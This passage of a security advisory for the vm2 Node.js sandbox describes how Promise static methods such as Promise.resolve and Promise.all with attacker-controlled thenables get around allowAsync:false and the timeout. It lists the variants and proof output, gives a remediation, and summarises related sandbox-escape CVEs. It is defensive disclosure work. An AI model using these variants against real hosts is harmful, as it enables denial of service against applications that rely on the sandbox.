text NodeVM Promise.resolve thenable: returned 1 NodeVM Promise.resolve thenable events: nodevm-resolve-thenable NodeVM direct then control: threw VMError:Async not available NodeVM direct then control events: <none>
Impact
Applications commonly combine timeout with allowAsync: false so untrusted scripts run synchronously and cannot continue after run() returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have VM.run() return successfully, and execute attacker-controlled code afterward. Because the code runs after VM.run() has returned, the configured timeout no longer interrupts it.
A malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can be made unbounded. The finding is therefore a sandbox policy and availability bypass. This report does not claim raw host-object exposure, process access, filesystem access, or host RCE.
Negative/control evidence: direct .then() is rejected with VMError: Async not available and no callback fires, confirming that the intended protection exists but is incomplete for static Promise thenable assimilation.
Suggested remediation
When allowAsync is false, reject or neutralize all Promise static-method paths that can schedule jobs, not only Promise.prototype.then. At minimum, Promise.resolve, Promise.all, Promise.race, Promise.any, and Promise.allSettled should not invoke attacker-controlled thenables under allowAsync: false. Possible fixes include replacing these static methods with AsyncErrorHandler-style throwers when async is disabled, or wrapping their inputs so thenable assimilation cannot schedule attacker code.
Add regression tests for VM and NodeVM that verify:
- Promise.resolve({ then(){} }) throws or does not call the thenable when allowAsync: false. - Promise.all, Promise.race, Promise.any, and Promise.allSettled do the same for thenable elements. - Direct .then() remains blocked. - A timeout-configured VM cannot execute code after run() returns via Promise thenable assimilation.
Variant analysis summary
Confirmed variants:
- VM({allowAsync:false}).run('Promise.resolve(thenable)') - VM({allowAsync:false}).run('Promise.all([thenable])') - VM({allowAsync:false}).run('Promise.race([thenable])') - VM({allowAsync:false}).run('Promise.any([thenable])') - VM({allowAsync:false}).run('Promise.allSettled([thenable])') - NodeVM({allowAsync:false}).run('Promise.resolve(thenable)')
Negative cases checked:
- Direct Promise.resolve(1).then(...) throws VMError: Async not available in both VM and NodeVM. - NodeVM dangerous builtin exposure was reviewed separately and not implicated in this issue.
Credits - Thai Son Dinh from VinSOC Labs (R&D) - Nguyen Huy Vu Dung from VinSOC Labs (AppSec)
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code. This issue has been patched in version 3.11.0.
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.10.5.